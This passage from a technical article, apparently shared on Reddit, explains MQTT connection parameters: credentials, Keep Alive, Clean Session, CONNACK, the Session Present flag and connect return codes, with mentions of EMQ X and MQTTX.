Username/Password

MQTT can implement related authentication and authorization by sending the username and password. However, if this information is not encrypted, the username and password are sent in clear text. EMQ X not only supports SSL / TLS encryption, but also provides emqx-auth-username plugin to encrypt passwords.

Keep Alive

Keep Alive is a time interval in seconds. It refers to the maximum time interval allowed between the time when the client transmits a control packet to the time when the next message is sent. The client is responsible for ensuring that the interval of sending control packets does not exceed the value of the keep-alive. If no other control packet can be sent, the client must send a PINGREQ packet.
If the value of Keep Alive is non-zero, and the server does not receive the control packet from the client within 1.5 times of the Keep Alive time, it must disconnect the client's network connection and consider the network connection to be disconnected.

Clean Session

The client and server can save session state to support reliable message transmission across network connections. This flag tells the server whether this connection is a brand new connection.
The session state of the client includes:
  • QoS 1 and QoS 2 level messages that have been sent to the server but have not yet been confirmed
  • QoS 2 level messages that have been received from the server but have not yet been confirmed
The session state of the server includes:
  • Whether the session exists, even if the rest of the session state is empty.
  • Client's subscription information.
  • QoS 1 and QoS 2 level messages that have been sent to the client but have not yet been confirmed
  • QoS 1 and QoS 2 level messages to be transferred to the client.
  • QoS 2 level messages that have been received from the client but have not yet been confirmed
  • Optional, QoS 0 level message to be sent to the client.
If the CleanSession flag is set to 1, the client and server must discard any previous sessions and start a new session. The session only lasts as long as the network connection.
If the CleanSession flag is set to 0, the server must resume communication with the client based on the state of the current session (identified by ClientId). If there is no session associated with this client identifier, the server must create a new session. When the connection is disconnected, the client and server must save the session information.

Connack confirms connection request

When the client sends a Connect packet to request a connection to the server, the server must send a Connack packet as a response to the Connect packet from the client. If the client does not receive the CONNACK packet from the server within a reasonable time, the client should close the network connection. The reasonable time depends on the type of application and the communication infrastructure. In MQTTX, you can set a reasonable timeout time through Connection Timeout.

https://preview.redd.it/5s7mbx4lvdj41.png?width=924&format=png&auto=webp&s=d9b212f8a4b68ba762d409957516295bd4e7bdaf
Connack messages contain two important signs of Session Present and Connect Return code.

Session Present

Session Present flag indicates whether the current session is a new session. If the server receives a connection with a CleanSession flag of 1, the SessionPresent flag in the Connack packet is 0. If the server receives a connection with CleanSession 0, the value of the SessionPresent flag depends on whether the server has saved the session state of the client corresponding to ClientId. If the server has saved the session state, the SessionPresent flag in the Connack packet is 1. If the server has no saved session state, the SessionPresent flag in the Connack packet is 0.

Connect Return code

Connect Return code represents the server's response to this Connect, and 0 indicates that the connection has been accepted by the server. If the server receives a valid CONNECT packet but cannot process it for some reason, the server should try to send a CONNACK packet with a non-zero return code (one in the following table). If the server sends a CONNACK packet with a non-zero return code, it must close the network connection.
Value Return Code Response Description
0 0x00 connection accepted The connection has been accepted by the server
1 0x01 connection refused, unsupported protocol version The server does not support the MQTT protocol level requested by the client
2 0x02 connection refused, unqualified client identifier The client identifier is correctly UTF-8 encoded, but is not allowed by the server
3 0x03 Connection refused, server is unavailable Network connection has been established, but MQTT service is unavailable
4 0x04 connection refused, invalid username or password Data format for username or password is invalid
5 0x05 connection refused, unauthorized Client is not authorized to connect to this server
6-255 retained